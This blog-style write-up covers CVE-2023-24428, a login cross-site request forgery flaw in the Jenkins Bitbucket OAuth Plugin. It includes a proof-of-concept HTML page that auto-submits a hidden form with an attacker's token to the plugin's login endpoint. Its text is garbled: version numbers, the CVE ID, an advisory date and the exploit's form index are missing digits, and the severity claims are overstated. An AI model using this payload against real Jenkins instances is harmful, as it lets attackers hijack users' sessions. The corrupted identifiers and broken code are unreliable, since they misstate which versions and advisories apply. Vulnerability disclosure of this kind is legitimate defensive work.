In recent years, there has been a dramatic increase in the number of cybersecurity attacks and vulnerabilities affecting various software tools and applications. One such vulnerability has been identified in the Jenkins Bitbucket OAuth Plugin, version .12 and earlier, which is widely used by many organizations for authentication and authorization purposes. This post will dive deep into the details of the vulnerability, known as CVE-202-24428, including the potential exploit details, code snippets, and links to original references.

Original References

1. CVE-2023-24428 Official Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24428
2. Jenkins Security Advisory: https://www.jenkins.io/security/advisory/202-05-27/
3. Jenkins Bitbucket OAuth Plugin Source Code Repository: https://github.com/jenkinsci/bitbucket-oauth-plugin

The Vulnerability: Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is a security vulnerability that allows an attacker to trick a user into performing unauthorized actions within a web application. In the case of the Jenkins Bitbucket OAuth Plugin, the CSRF vulnerability allows attackers to deceive users and log them into the attacker's Bitbucket account instead of their own.

This vulnerability is highly critical and poses a significant risk to organizations using the affected versions of the Jenkins Bitbucket OAuth Plugin, as attackers can potentially gain unauthorized access to sensitive information and perform malicious actions on the user's Bitbucket repositories.

Exploit Details

The following code snippet demonstrates how the CSRF vulnerability can be exploited within the Jenkins Bitbucket OAuth Plugin. The attacker's goal is to trick a user into clicking on a malicious link, which will consequently log the user into the attacker's Bitbucket account.

<!DOCTYPE html>
<html>
  <head>
    <title>Malicious CSRF Exploit</title>
  </head>
  <body>
    <form method="POST" action="https://jenkins.example.com/securityRealm/finishLogin">;
      <input type="hidden" name="access-token" value="ATTACKER_ACCESS_TOKEN" />
      <input type="hidden" name="redirect-url" value="/jenkins/" />
    </form>
    <script>
      document.forms[].submit();
    </script>
  </body>
</html>

In this example, the attacker would replace ATTACKER_ACCESS_TOKEN with their own Bitbucket access token and host the HTML file on a malicious website. When the unsuspecting user clicks on the link, the embedded JavaScript automatically submits the form, which logs the user into the attacker's Bitbucket account.

Mitigation and Solution

To mitigate the risk posed by the CSRF vulnerability in Jenkins Bitbucket OAuth Plugin .12 and earlier, users must update their Jenkins instance to the latest version of the Plugin. The update implements a CSRF protection mechanism and eliminates the vulnerability, allowing users to safely authenticate and use the Plugin without the risk of unauthorized access.

In conclusion, the CVE-2023-24428 vulnerability serves as a crucial reminder that organizations must remain diligent in staying up-to-date with software updates and patches to protect their sensitive data and systems. Awareness of vulnerabilities, coupled with timely and proactive action, will significantly reduce the risk of experiencing a successful cyber attack.

Timeline

Published on: 01/26/2023 21:18:00 UTC
Last modified on: 02/04/2023 02:06:00 UTC